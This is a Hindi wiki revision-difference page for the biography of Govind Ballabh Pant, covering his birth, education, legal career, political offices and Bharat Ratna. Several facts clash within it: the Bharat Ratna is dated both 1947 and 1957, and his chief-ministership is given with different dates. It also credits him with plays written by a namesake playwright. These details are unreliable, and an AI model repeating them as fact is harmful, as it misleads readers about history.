"गोविंद बल्लभ पंत" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==")
 
(11 सदस्यों द्वारा किये गये बीच के 42 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
[[चित्र:Pandit-Govind-Ballabh-Pant.jpg|thumb|गोविंद बल्लभ पंत<br /> Govind Ballabh Pant]]
+
{{सूचना बक्सा राजनीतिज्ञ
<small><sub>(10 सितम्बर , 1887 7 मार्च, 1961)</sub></small> <br />
+
|चित्र=Pandit-Govind-Ballabh-Pant.jpg
गोविंद बल्लभ पंत प्रसिद्ध स्वतन्त्रता सेनानी और [[उत्तर प्रदेश]] के प्रथम मुख्यमंत्री थे। गोविंद वल्लभ पंत जी अगस्त 15, 1947 - मई 27, 1964 तक उत्तर प्रदेश के मुख्यमंत्री थे। अपने संकल्प और साहस के मशहूर पंत जी का जन्म वर्तमान [[उत्तराखंड]] राज्य के [[अल्मोडा]] ज़िले के खूंट (धामस) नामक गाँव में हुआ था ।
+
|चित्र का नाम=गोविंद बल्लभ पंत
 +
|पूरा नाम=गोविंद बल्लभ पंत
 +
|अन्य नाम=
 +
|जन्म=[[10 सितम्बर]], [[1887]]
 +
|जन्म भूमि=[[अल्मोड़ा]], [[उत्तराखंड]]
 +
|मृत्यु=[[7 मार्च]], [[1961]]
 +
|मृत्यु स्थान=
 +
|मृत्यु कारण=
 +
|अभिभावक=श्री मनोरथ पंत
 +
|पति/पत्नी=श्रीमती गंगा देवी
 +
|संतान=
 +
|स्मारक=
 +
|क़ब्र=
 +
|नागरिकता=भारतीय
 +
|प्रसिद्धि=
 +
|पार्टी=[[कांग्रेस]]
 +
|पद=[[उत्तर प्रदेश]] के [[मुख्यमंत्री]] और [[भारत]] के गृहमंत्री
 +
|भाषा=[[अंग्रेज़ी]], [[संस्कृत]]
 +
|जेल यात्रा=सन [[1921]], [[1930]], [[1932]] और [[1934]] के स्वतंत्रता संग्रामों में लगभग 7 वर्ष जेलों में रहे।
 +
|कार्य काल=मुख्यमंत्री- [[15 अगस्त]] [[1947]] से [[27 मई]] [[1954]]<br />
 +
गृहमंत्री- [[1955]] - [[1961]]
 +
|विद्यालय= 'म्योर सेण्ट्रल कॉलेज', [[इलाहाबाद]]
 +
|शिक्षा=वकालत
 +
|पुरस्कार-उपाधि=[[भारत रत्न]]
 +
|विशेष योगदान=
 +
|संबंधित लेख=
 +
|शीर्षक 1=रचनाएँ
 +
|पाठ 1=वरमाला, 'राजमुकुट' और 'अंगूर की बेटी'
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=गोविन्द बल्लभ पंत का मुक़दमा लड़ने का ढंग निराला था, जो मुवक़्क़िल अपने मुक़दमों के बारे में सही जानकारी नहीं देते थे, पंत जी उनका मुक़दमा नहीं लेते थे। काशीपुर में एक बार वे धोती, कुर्ता तथा गाँधी टोपी पहनकर कोर्ट चले गये। वहां अंग्रेज़ मजिस्ट्रेट ने आपत्ति की।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
 +
'''गोविंद बल्लभ पंत''' ([[अंग्रेज़ी]]: ''Govind Ballabh Pant'', जन्म:[[10 सितम्बर]] [[1887]]; मृत्यु: [[7 मार्च]], [[1961]]) [[उत्तर प्रदेश]] के प्रथम [[मुख्यमंत्री]] एवं स्वतंत्रता सेनानी थे। इनका मुख्यमंत्री कार्यकाल [[15 अगस्त]], [[1947]] से [[27 मई]], [[1954]] तक रहा। बाद में ये [[भारत]] के गृहमंत्री भी ([[1955]] -[[1961]]) बने। [[भारतीय संविधान]] में [[हिन्दी]] भाषा को [[राष्ट्रभाषा]] का दर्जा दिलाने और जमींदारी प्रथा को खत्म कराने में उनका महत्वपूर्ण योगदान था। भारत रत्न का सम्मान उनके ही गृहमन्त्रित्व काल में आरम्भ किया गया था। बाद में यही सम्मान उन्हें [[1947]] में उनके [[स्वतंत्रता संग्राम|स्वतन्त्रता संग्राम]] में योगदान देने, [[उत्तर प्रदेश के मुख्यमंत्री]] तथा भारत के गृहमंत्री के रूप में उत्कृष्ट कार्य करने के उपलक्ष्य में [[राष्ट्रपति]] [[राजेन्द्र प्रसाद]] द्वारा प्रदान किया गया।
 
==जीवन परिचय==
 
==जीवन परिचय==
गोविन्द बल्लभ पंत का जन्म 10 सितम्बर , 1887 को [[अल्मोडा]] के एक कुलीन [[ब्राह्मण]] परिवार में हुआ था। इस परिवार का सम्बन्ध [[कुमाऊं]] की एक अत्यन्त प्राचीन और सम्मानित परम्परा से है। पन्तों की इस परम्परा का मूल स्थान [[महाराष्ट्र]] में [[कोंकण]] प्रदेश माना जाता है और इसके आदि पुरुष माने जाते हैं जयदेव पंत। ऐसी मान्यता है कि 11वीं सदी के आरम्भ में जयदेव पंत तथा उनका परिवार कुमाऊं में आकर बस गया था
+
अपने संकल्प और साहस के मशहूर पंत जी का जन्म 10 सितम्बर, 1887 ई. वर्तमान [[उत्तराखंड]] राज्य के [[अल्मोड़ा ज़िला|अल्मोड़ा ज़िले]] के खूंट (धामस) नामक गाँव में [[ब्राह्मण]] परिवार में हुआ था। इस [[परिवार]] का सम्बन्ध [[कुमाऊँ]] की एक अत्यन्त प्राचीन और सम्मानित परम्परा से है। पन्तों की इस परम्परा का मूल स्थान [[महाराष्ट्र]] का [[कोंकण]] प्रदेश माना जाता है और इसके आदि पुरुष माने जाते हैं जयदेव पंत। ऐसी मान्यता है कि 11वीं [[सदी]] के आरम्भ में जयदेव पंत तथा उनका परिवार कुमाऊं में आकर बस गया था।
==शिक्षा==
+
====आरम्भिक जीवन====
{{tocright}}
+
गोविन्द बल्लभ पंत के पिता का नाम श्री 'मनोरथ पन्त' था। श्री मनोरथ पंत गोविन्द के जन्म से तीन वर्ष के भीतर अपनी पत्नी के साथ [[पौड़ी गढ़वाल]] चले गये थे। बालक गोविन्द दो-एक बार पौड़ी गया परन्तु स्थायी रूप से अल्मोड़ा में रहा। उसका लालन-पोषण उसकी मौसी 'धनीदेवी' ने किया। गोविन्द ने 10 वर्ष की आयु तक शिक्षा घर पर ही ग्रहण की। 1897 में गोविन्द को स्थानीय 'रामजे कॉलेज' में प्राथमिक पाठशाला में दाखिल कराया गया।  
गोविन्द बल्लभ पंत के पिता का नाम श्री 'मनोरथ पन्त' था। श्री मनोरथ पंत गोविन्द के जन्म से तीन वर्ष के भीतर अपनी पत्नी के साथ [[पौडी गढवाल]] चले गये थे। बालक गोविन्द दो-एक बार पौडी गया परन्तु स्थायी रूप से अल्मोडा में रहा। उसका लालन-पोषण उसकी मौसी 'धनीदेवी' ने किया। गोविन्द ने 10 वर्ष की आयु तक शिक्षा घर पर ही ग्रहण की। 1897 में गोविन्द को स्थानीय 'रामजे कॉलेज' में प्राथमिक पाठशाला में दाखिल कराया गया।  
+
[[1899]] में 12 वर्ष की आयु में उनका विवाह 'पं. बालादत्त जोशी' की कन्या 'गंगा देवी' से हो गया, उस समय वह कक्षा सात में थे। गोविन्द ने लोअर मिडिल की परीक्षा [[संस्कृत]], गणित, [[अंग्रेज़ी]] विषयों में विशेष योग्यता के साथ प्रथम श्रेणी में पास की। गोविन्द इण्टर की परीक्षा पास करने तक यहीं पर रहे। इसके पश्चात् [[इलाहाबाद विश्वविद्यालय]] में प्रवेश लिया तथा बी.ए. में गणित, राजनीति और [[अंग्रेज़ी साहित्य]] विषय लिए। इलाहाबाद उस समय [[भारत]] की विभूतियां [[जवाहरलाल नेहरू|पं० जवाहरलाल नेहरु]], [[पं. मोतीलाल नेहरू|पं० मोतीलाल नेहरु]], सर तेजबहादुर सप्रु, श्री सतीशचन्द्र बैनर्जी व श्री सुन्दरलाल सरीखों का संगम था तो वहीं विश्वविद्यालय में अंतर्राष्ट्रीय ख्याति के विद्वान् प्राध्यापक जैनिग्स, कॉक्स, रेन्डेल, ए.पी. मुकर्जी सरीखे विद्वान् थे। इलाहाबाद में नवयुवक गोविन्द को इन महापुरुषों का सान्निध्य एवं सम्पर्क मिला साथ ही जागरुक, व्यापक और राजनीतिक चेतना से भरपूर वातावरण मिला।
==विवाह==
+
[[चित्र:Govind-ballabh-pant-stamp.gif|thumb|left|पंत जी के सम्मान में जारी [[डाक टिकट]]]]
1899 में 12 वर्ष की आयु में उनका विवाह 'पं. बालादत्त जोशी' की कन्या 'गंगा देवी' से हो गया, उस समय वह कक्षा सात में थे। गोविन्द ने लोअर मिडिल की परीक्षा [[संस्कृत]], गणित, [[अंग्रेज़ी]] विषयों में विशेष योग्यता के साथ प्रथम श्रेणी में पास की।  
+
==कार्यक्षेत्र==
गोविन्द इण्टर की परीक्षा पास करने तक यहीं पर रहे। इसके पश्चात [[इलाहाबाद विश्वविद्यालय]] में प्रवेश लिया तथा बी.ए. में गणित, राजनीति और अंग्रेज़ी साहित्य विषय लिए। इलाहाबाद उस समय [[भारत]] की विभूतियां [[जवाहरलाल नेहरू|पं० जवाहरलाल नेहरु]], [[पं. मोतीलाल नेहरू|पं० मोतीलाल नेहरु]], सर तेजबहादुर सप्रु, श्री सतीशचन्द्र बैनर्जी व श्री सुन्दरलाल सरीखों का संगम था तो वहीं विश्वविद्यालय में अंतर्राष्ट्रीय ख्याति के विद्वान प्राध्यापक जैनिग्स, कॉक्स, रेन्डेल, ए.पी. मुकर्जी सरीखे विद्वान थे। इलाहाबाद में नवयुवक गोविन्द को इन महापुरुषों का सान्निध्य एवं सम्पर्क मिला साथ ही जागरुक, व्यापक और राजनीतिक चेतना से भरपूर वातावरण मिला।
 
==क़ानून की शिक्षा और वकालत==
 
 
*1909 में गोविन्द बल्लभ पंत को क़ानून की परीक्षा में विश्वविद्यालय में सर्वप्रथम आने पर 'लम्सडैन' स्वर्ण पदक प्रदान किया  गया।
 
*1909 में गोविन्द बल्लभ पंत को क़ानून की परीक्षा में विश्वविद्यालय में सर्वप्रथम आने पर 'लम्सडैन' स्वर्ण पदक प्रदान किया  गया।
*1910 में गोविन्द बल्लभ पंत ने अल्मोडा में वकालत आरम्भ की। अल्मोडा के बाद पंत जी ने कुछ महीने [[रानीखेत]] में वकालत की, फिर पंत जी वहां से [[काशीपुर]] आ गये। उन दिनों काशीपुर के मुकदमें एस.डी.एम. (डिप्टी कलक्टर) की कोर्ट में पेश हुआ करते थे। यह अदालत ग्रीष्म काल में 6 महीने नैनीताल व सर्दियों के 6 महीने काशीपुर में रहती थी। इस प्रकार पंत जी का काशीपुर के बाद नैनीताल से सम्बन्ध जुड़ा।
+
*1910 में गोविन्द बल्लभ पंत ने अल्मोड़ा में वकालत आरम्भ की। अल्मोड़ा के बाद पंत जी ने कुछ महीने [[रानीखेत]] में वकालत की, फिर पंत जी वहाँ से काशीपुर आ गये। उन दिनों काशीपुर के मुक़दमें एस.डी.एम. (डिप्टी कलक्टर) की कोर्ट में पेश हुआ करते थे। यह अदालत ग्रीष्म काल में 6 महीने नैनीताल व सर्दियों के 6 महीने काशीपुर में रहती थी। इस प्रकार पंत जी का काशीपुर के बाद नैनीताल से सम्बन्ध जुड़ा।
*सन 1912-13 में पंतजी काशीपुर आये उस समय उनके पिता जी 'रेवेन्यू कलक्टर' थे। श्री 'कुंजबिहारी लाल' जो काशीपुर के वयोवृद्ध प्रतिष्ठित नागरिक थे, का मुकदमा पंत' जी द्वारा लिये गये सबसे 'पहले मुकदमों' में से एक था। इसकी फ़ीस उन्हें 5 रु० मिली थी।   
+
*सन 1912-13 में पंतजी काशीपुर आये उस समय उनके पिता जी 'रेवेन्यू कलक्टर' थे। श्री 'कुंजबिहारी लाल' जो काशीपुर के वयोवृद्ध प्रतिष्ठित नागरिक थे, का मुक़दमा पंत' जी द्वारा लिये गये सबसे 'पहले मुक़दमों' में से एक था। इसकी फ़ीस उन्हें 5 रु० मिली थी।   
*1909 में पंतजी के पहले पुत्र की बीमारी से मृत्यु हो गयी और कुछ समय बाद पत्नी गंगादेवी की भी मृत्यु हो गयी। उस समय उनकी आयु 23 वर्ष की थी। वह गम्भीर व उदासीन रहने लगे तथा समस्त समय क़ानून व राजनीति को देने लगे। परिवार के दबाव पर 1912 में पंत जी का दूसरा विवाह अल्मोडा में हुआ। उसके बाद पंतजी काशीपुर आये। पंत जी काशीपुर में सबसे पहले 'नजकरी' में नमक वालों की कोठी में एक साल तक रहे।  
+
*1909 में पंतजी के पहले पुत्र की बीमारी से मृत्यु हो गयी और कुछ समय बाद पत्नी गंगादेवी की भी मृत्यु हो गयी। उस समय उनकी आयु 23 वर्ष की थी। वह गम्भीर व उदासीन रहने लगे तथा समस्त समय क़ानून व राजनीति को देने लगे। परिवार के दबाव पर 1912 में पंत जी का दूसरा विवाह अल्मोड़ा में हुआ। उसके बाद पंतजी काशीपुर आये। पंत जी काशीपुर में सबसे पहले 'नजकरी' में नमक वालों की कोठी में एक साल तक रहे।  
 
*1913 में पंतजी काशीपुर के मौहल्ला खालसा में 3-4 वर्ष तक रहे। अभी नये मकान में आये एक वर्ष भी नहीं हुआ था कि उनके पिता मनोरथ पंत का देहान्त हो गया। इस बीच एक पुत्र की प्राप्ति हुई पर उसकी भी कुछ महीनों बाद मृत्यु हो गयी। बच्चे के बाद पत्नी भी 1914 में स्वर्ग सिधार गई।
 
*1913 में पंतजी काशीपुर के मौहल्ला खालसा में 3-4 वर्ष तक रहे। अभी नये मकान में आये एक वर्ष भी नहीं हुआ था कि उनके पिता मनोरथ पंत का देहान्त हो गया। इस बीच एक पुत्र की प्राप्ति हुई पर उसकी भी कुछ महीनों बाद मृत्यु हो गयी। बच्चे के बाद पत्नी भी 1914 में स्वर्ग सिधार गई।
 
*1916 में पंत जी 'राजकुमार चौबे' की बैठक में चले गये। चौबे जी पंत जी के अनन्य मित्र थे। उनके द्वारा दबाव डालने पर पुनःविवाह के लिए राजी होना पडा तथा काशीपुर के ही श्री तारादत्त पाण्डे जी की पुत्री 'कलादेवी' से विवाह हुआ। उस समय पन्त जी की आयु 30 वर्ष की थी।
 
*1916 में पंत जी 'राजकुमार चौबे' की बैठक में चले गये। चौबे जी पंत जी के अनन्य मित्र थे। उनके द्वारा दबाव डालने पर पुनःविवाह के लिए राजी होना पडा तथा काशीपुर के ही श्री तारादत्त पाण्डे जी की पुत्री 'कलादेवी' से विवाह हुआ। उस समय पन्त जी की आयु 30 वर्ष की थी।
==वकालत का अंदाज़==
+
====वकालत का अंदाज़====
गोविन्द बल्लभ पंत जी का मुकदमा लड़ने का ढंग निराला था, जो मुवक़्क़िल अपने मुकदमों के बारे में सही जानकारी नहीं देते थे, पंत जी उनका मुकदमा नहीं लेते थे। काशीपुर में एक बार गोविन्द बल्लभ पंत जी धोती, कुर्ता तथा गाँधी टोपी पहनकर कोर्ट चले गये। वहां अंग्रेज़ मजिस्ट्रेट ने आपत्ति की।
+
गोविन्द बल्लभ पंत जी का मुक़दमा लड़ने का ढंग निराला था, जो मुवक़्क़िल अपने मुक़दमों के बारे में सही जानकारी नहीं देते थे, पंत जी उनका मुक़दमा नहीं लेते थे। काशीपुर में एक बार गोविन्द बल्लभ पंत जी धोती, कुर्ता तथा गाँधी टोपी पहनकर कोर्ट चले गये। वहां अंग्रेज़ मजिस्ट्रेट ने आपत्ति की।
==आर्थिक स्थिति==
+
==संक्षिप्त जीवन परिचय==
पन्त जी की वकालत की काशीपुर में धाक थी और उनकी आय 500 रुपए मासिक से भी अधिक हो गई। पंत जी के कारण काशीपुर राजनीतिक तथा सामाजिक दृष्टियों से कुमायूं के अन्य नगरों की अपेक्षा अधिक जागरुक था। अंग्रेज़ शासकों ने काशीपुर नगर को काली सूची में शामिल कर लिया। पंतजी के नेतृत्व के कारण अंग्रेज़ काशीपुर को ”गोविन्दगढ़“ कहती थी।
+
[[चित्र:Govind-ballabh-pant-stamp-2.gif|thumb|पंत जी के सम्मान में जारी [[डाक टिकट]]]]
 +
पन्त जी की वकालत की काशीपुर में धाक थी और उनकी आय 500 रुपए मासिक से भी अधिक हो गई। पंत जी के कारण काशीपुर राजनीतिक तथा सामाजिक दृष्टियों से [[कुमाऊँ]] के अन्य नगरों की अपेक्षा अधिक जागरुक था। अंग्रेज़ शासकों ने काशीपुर नगर को काली सूची में शामिल कर लिया। पंतजी के नेतृत्व के कारण अंग्रेज़ काशीपुर को ”गोविन्दगढ़“ कहती थी।
 
*1914 में काशीपुर में 'प्रेमसभा' की स्थापना पंत जी के प्रयत्नों से ही हुई। ब्रिटिश शासकों ने समझा कि समाज सुधार के नाम पर यहाँ आतंकवादी कार्यो को प्रोत्साहन दिया जाता है। फलस्वरूप इस सभा को हटाने के अनेक प्रयत्न किये गये पर पंत जी के प्रयत्नों से वह सफल नहीं हो पाये।  
 
*1914 में काशीपुर में 'प्रेमसभा' की स्थापना पंत जी के प्रयत्नों से ही हुई। ब्रिटिश शासकों ने समझा कि समाज सुधार के नाम पर यहाँ आतंकवादी कार्यो को प्रोत्साहन दिया जाता है। फलस्वरूप इस सभा को हटाने के अनेक प्रयत्न किये गये पर पंत जी के प्रयत्नों से वह सफल नहीं हो पाये।  
 
*1914 में पंत जी के प्रयत्नों से ही 'उदयराज हिन्दू हाईस्कूल' की स्थापना हुई। राष्ट्रीय आन्दोलन में भाग लेने के आरोप में ब्रिटिश सरकार ने इस स्कूल के विरुद्ध डिग्री दायर कर नीलामी के आदेश पारित कर दिये। जब पंत जी को पता चला तो उन्होंनें चन्दा मांगकर इसको पूरा किया।
 
*1914 में पंत जी के प्रयत्नों से ही 'उदयराज हिन्दू हाईस्कूल' की स्थापना हुई। राष्ट्रीय आन्दोलन में भाग लेने के आरोप में ब्रिटिश सरकार ने इस स्कूल के विरुद्ध डिग्री दायर कर नीलामी के आदेश पारित कर दिये। जब पंत जी को पता चला तो उन्होंनें चन्दा मांगकर इसको पूरा किया।
पंक्ति 30: पंक्ति 63:
 
*10 अगस्त, 1931 को भवाली में उनके सुपुत्र श्रीकृष्ण चन्द्र पंत का जन्म हुआ।
 
*10 अगस्त, 1931 को भवाली में उनके सुपुत्र श्रीकृष्ण चन्द्र पंत का जन्म हुआ।
 
*नवम्बर, 1934 में गोविन्द बल्लभ पंत 'रुहेलखण्ड-कुमाऊं' क्षेत्र से केन्द्रीय विधान सभा के लिए निर्विरोध चुन लिये गये।
 
*नवम्बर, 1934 में गोविन्द बल्लभ पंत 'रुहेलखण्ड-कुमाऊं' क्षेत्र से केन्द्रीय विधान सभा के लिए निर्विरोध चुन लिये गये।
*17 जुलाई, 1937 को गोविन्द बल्लभ पंत 'संयुक्त प्रान्त' के प्रथम मुख्यमंत्री बने जिसमें नारायण दत्त तिवारी संसदीय सचिव नियुक्त किये गये थे।
+
*17 जुलाई, 1937 को गोविन्द बल्लभ पंत 'संयुक्त प्रान्त' के प्रथम मुख्यमंत्री बने जिसमें [[नारायण दत्त तिवारी]] संसदीय सचिव नियुक्त किये गये थे।
 
+
*पन्त जी [[1946]] से [[दिसम्बर]] [[1954]] तक उत्तर प्रदेश के मुख्यमंत्री रहे। पंत जी को भूमि सुधारों में पर्याप्त रुचि थी। [[21 मई]], 1952 को जमींदारी उन्मूलन क़ानून को प्रभावी बनाया। मुख्यमंत्री के रूप में उनकी विशाल योजना नैनीताल तराई को आबाद करने की थी।
'''स्वतंत्रता के पुनीत अवसर पर गोविन्द बल्लभ पंत द्वारा दिया गया सन्देशः-'''<br />
+
*पंत जी एक विद्वान् क़ानून ज्ञाता होने के साथ ही महान् नेता व महान् अर्थशास्त्री भी थे। कृष्णचन्द्र पंत उनके सुयोग्य पुत्र  केन्द्र सरकार में विभिन्न पदों पर रहते हुए [[योजना आयोग]] के उपाध्यक्ष भी रहे।
 
 
 
 
<blockquote>मित्रों और साथियों, इस ऐतिहासिक अवसर पर आप लोगों के प्रति हार्दिक शुभकामनाएं प्रक करते हुए मुझे हर्ष होता है। हम अपनी मंजिल पर पहुंच चुके हैं। हमें अपना लक्ष्य मिल गया है। भारतीय संघ के स्वतंत्र राज्य में मैं आपका स्वागत करता हूं। जनता के प्रतिनिधि राज्य और उसकी विभिन्न शाखाओं का नियंत्रण और संचालन करेगें और जनता द्वारा, जनता के लिए, जनता की सरकार केवल सिद्धान्त नहीं रहेगा वरन अब वह सब प्रकार से सक्रिय रूप धारण करेगा और सभी मानों में यह सिद्धान्त व्यवहार में लाया जाएगा।</blockquote>
 
 
 
*पन्त जी 1946 से दिसम्बर 1954 तक उत्तर प्रदेश के मुख्यमंत्री रहे। पंत जी को भूमि सुधारों में पर्याप्त रुचि थी। 21 मई, 1952 को जमींदारी उन्मूलन क़ानून को प्रभावी बनाया। मुख्यमंत्री के रूप में उनकी विशाल योजना नैनीताल तराई को आबाद करने की थी।
 
*पंत जी एक विद्वान क़ानून ज्ञाता होने के साथ ही महान नेता व महान अर्थशास्त्री भी थे। कृष्णचन्द्र पंत उनके सुयोग्य पुत्र  केन्द्र सरकार में विभिन्न पदों पर रहते हुए योजना आयोग के उपाध्यक्ष भी रहे।
 
 
 
==नाटककार और लेखक==
 
गोविंद वल्लभ पंत अच्छे नाटककार हैं। उनका 'वरमाला' नाटक, जो मार्कंडेय पुराण की एक कथा पर आधारित है, बड़ी निपुणता से लिखा गया है। मेवाड की पन्ना नामक धाय के अलौकिक त्याग का ऐतिहासिक वृत लेकर 'राजमुकुट' की रचना हुई है। 'अंगूर की बेटी' (जो फ़ारसी शब्द का अनुवाद है) मद्य में दुष्परिणाम दिखाने वाला सामाजिक नाटक है।
 
 
 
==संक्षिप्त विवरण==
 
 
*[[इलाहाबाद]] के तत्कालीन 'म्योर सेण्ट्रल कॉलेज' से स्नातक एवं वकालत की उपाधियाँ प्राप्त कीं।  
 
*[[इलाहाबाद]] के तत्कालीन 'म्योर सेण्ट्रल कॉलेज' से स्नातक एवं वकालत की उपाधियाँ प्राप्त कीं।  
*सन 1909 में इलाहाबाद हाईकोर्ट में एडवोकेट बने और [[नैनीताल]] में वकालत प्रारम्भ की।  
+
*सन [[1909]] में इलाहाबाद हाईकोर्ट में एडवोकेट बने और [[नैनीताल]] में वकालत प्रारम्भ की।  
*सन 1916 में 'कुमायूँ परिषद' की स्थापना की और इसी वर्ष 'अखिल भारतीय कांग्रेस कमेटी' के सदस्य चुने गये।  
+
*सन [[1916]] में 'कुमायूँ परिषद' की स्थापना की और इसी वर्ष 'अखिल भारतीय कांग्रेस कमेटी' के सदस्य चुने गये।  
*1923 में 'स्वराज्य पार्टी' के टिकट पर [[उत्तर प्रदेश]] 'विधान परिषद के लिए निर्वाचित हुए।  
+
*[[1923]] में '[[स्वराज्य पार्टी]]' के टिकट पर [[उत्तर प्रदेश]] 'विधान परिषद के लिए निर्वाचित हुए।  
*सन 1927 में उत्तर प्रदेश कांग्रेस कमेटी के अध्यक्ष रहे।  
+
*सन [[1927]] में उत्तर प्रदेश कांग्रेस कमेटी के अध्यक्ष रहे।  
 
*नवम्बर, 1928 में [[लखनऊ]] में [[साइमन कमीशन]] का बहिष्कार किया।  
 
*नवम्बर, 1928 में [[लखनऊ]] में [[साइमन कमीशन]] का बहिष्कार किया।  
 
*सन 1921, 1930, 1932 और 1934 के स्वतंत्रता संग्रामों में लगभग 7 वर्ष जेलों में रहे।  
 
*सन 1921, 1930, 1932 और 1934 के स्वतंत्रता संग्रामों में लगभग 7 वर्ष जेलों में रहे।  
*सन 1937 से 1939 एवं 1954 तक अर्थात मृत्यु पर्यन्त केन्द्रीय सरकार के स्वराष्ट्र मंत्री रहे।
+
*सन 1937 से 1939 एवं 1954 तक अर्थात् मृत्यु पर्यन्त केन्द्रीय सरकार के स्वराष्ट्र मंत्री रहे।
 
+
;स्वतंत्रता के पुनीत अवसर पर गोविन्द बल्लभ पंत द्वारा दिया गया सन्देशः-
 +
<blockquote>मित्रों और साथियों, इस ऐतिहासिक अवसर पर आप लोगों के प्रति हार्दिक शुभकामनाएं प्रकट करते हुए मुझे हर्ष होता है। हम अपनी मंज़िल पर पहुंच चुके हैं। हमें अपना लक्ष्य मिल गया है। भारतीय संघ के स्वतंत्र राज्य में मैं आपका स्वागत करता हूं। जनता के प्रतिनिधि राज्य और उसकी विभिन्न शाखाओं का नियंत्रण और संचालन करेंगे और जनता द्वारा, जनता के लिए, जनता की सरकार केवल सिद्धान्त नहीं रहेगा वरन् अब वह सब प्रकार से सक्रिय रूप धारण करेगा और सभी मानों में यह सिद्धान्त व्यवहार में लाया जाएगा।</blockquote>
 +
==नाटककार और लेखक==
 +
गोविंद वल्लभ पंत अच्छे नाटककार हैं। उनका 'वरमाला' नाटक, जो [[मार्कण्डेय पुराण]] की एक कथा पर आधारित है, बड़ी निपुणता से लिखा गया है। [[मेवाड़]] की [[पन्ना धाय|पन्ना]] नामक धाय के अलौकिक त्याग का ऐतिहासिक वृत लेकर 'राजमुकुट' की रचना हुई है। 'अंगूर की बेटी' (जो [[फ़ारसी भाषा|फ़ारसी]] शब्द का अनुवाद है) मद्य में दुष्परिणाम दिखाने वाला सामाजिक नाटक है।
 
==भारत रत्न==
 
==भारत रत्न==
[[भारत रत्न]] सम्मान उनके ही काल में आरम्भ किया गया।  सन 1957 में [[गणतन्त्र दिवस]] पर महान देशभक्त, कुशल प्रशासक, सफल वक्ता, तर्क का धनी एवं उदारमना पन्त जी को [[भारत]] की सर्वोच्च उपाधि 'भारतरत्न' से विभूषित किया गया । आज उनकी याद में उनके जन्म स्थान पर एक स्मारक का निर्माण किया गया है। पंडित पन्त को उत्तराखंड के लोग 'गोठी पोंढ़ ज्यू' कह कर भी पुकारते हैं। क्योंकि पन्त जी का जन्म अपने ननिहाल के 'गोठ' यानि जो स्थान मवेशियों के लिए बनाया जाता है वहां हुआ था।
+
[[भारत रत्न]] सम्मान उनके ही काल में आरम्भ किया गया।  सन् [[1957]] में [[गणतन्त्र दिवस]] पर महान् देशभक्त, कुशल प्रशासक, सफल वक्ता, तर्क का धनी एवं उदारमना पन्त जी को [[भारत]] की सर्वोच्च उपाधि 'भारत रत्न' से विभूषित किया गया। आज उनकी याद में उनके जन्म स्थान पर एक स्मारक का निर्माण किया गया है। पंडित पन्त को [[उत्तराखंड]] के लोग 'गोठी पोंढ़ ज्यू' कह कर भी पुकारते हैं क्योंकि पन्त जी का जन्म अपने ननिहाल के 'गोठ' यानि जो स्थान मवेशियों के लिए बनाया जाता है वहां हुआ था।
  
  
{{प्रचार}}
+
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति
 
|आधार=
 
|प्रारम्भिक=प्रारम्भिक3
 
|माध्यमिक=
 
|पूर्णता=
 
|शोध=
 
}}
 
{{संदर्भ ग्रंथ}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
 
==बाहरी कड़ियाँ==
 
==बाहरी कड़ियाँ==
 
*[http://www.liveindia.com/freedomfighters/8.html गोविन्द बल्लभ पंत]
 
*[http://www.liveindia.com/freedomfighters/8.html गोविन्द बल्लभ पंत]
 
 
==संबंधित लेख==
 
==संबंधित लेख==
{{भारत रत्‍न}}
+
{{भारत रत्‍न}}{{स्वतन्त्रता सेनानी}}{{भारत रत्‍न2}}
{{स्वतन्त्रता सेनानी}}{{भारत गणराज्य}}
+
[[Category:भारत रत्न सम्मान]][[Category:प्रसिद्ध_व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:राजनेता]][[Category:राजनीति कोश]][[Category:स्वतन्त्रता सेनानी]][[Category:उत्तर प्रदेश के मुख्यमंत्री]][[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:साहित्य कोश]][[Category:गोविंद बल्लभ पंत]]
[[Category:भारत रत्न सम्मान]]
 
[[Category:प्रसिद्ध_व्यक्तित्व]]
 
[[Category:प्रसिद्ध व्यक्तित्व कोश]]
 
[[Category:राजनेता]]
 
[[Category:राजनीति कोश]]
 
[[Category:स्वतन्त्रता सेनानी]]
 
[[Category:उत्तर प्रदेश के मुख्यमंत्री]]
 
 
 
 
__INDEX__
 
__INDEX__

05:11, 7 मार्च 2018 के समय का अवतरण

गोविंद बल्लभ पंत
गोविंद बल्लभ पंत
पूरा नाम गोविंद बल्लभ पंत
जन्म 10 सितम्बर, 1887
जन्म भूमि अल्मोड़ा, उत्तराखंड
मृत्यु 7 मार्च, 1961
अभिभावक श्री मनोरथ पंत
पति/पत्नी श्रीमती गंगा देवी
नागरिकता भारतीय
पार्टी कांग्रेस
पद उत्तर प्रदेश के मुख्यमंत्री और भारत के गृहमंत्री
कार्य काल मुख्यमंत्री- 15 अगस्त 1947 से 27 मई 1954

गृहमंत्री- 1955 - 1961

शिक्षा वकालत
विद्यालय 'म्योर सेण्ट्रल कॉलेज', इलाहाबाद
भाषा अंग्रेज़ी, संस्कृत
जेल यात्रा सन 1921, 1930, 1932 और 1934 के स्वतंत्रता संग्रामों में लगभग 7 वर्ष जेलों में रहे।
पुरस्कार-उपाधि भारत रत्न
रचनाएँ वरमाला, 'राजमुकुट' और 'अंगूर की बेटी'
अन्य जानकारी गोविन्द बल्लभ पंत का मुक़दमा लड़ने का ढंग निराला था, जो मुवक़्क़िल अपने मुक़दमों के बारे में सही जानकारी नहीं देते थे, पंत जी उनका मुक़दमा नहीं लेते थे। काशीपुर में एक बार वे धोती, कुर्ता तथा गाँधी टोपी पहनकर कोर्ट चले गये। वहां अंग्रेज़ मजिस्ट्रेट ने आपत्ति की।

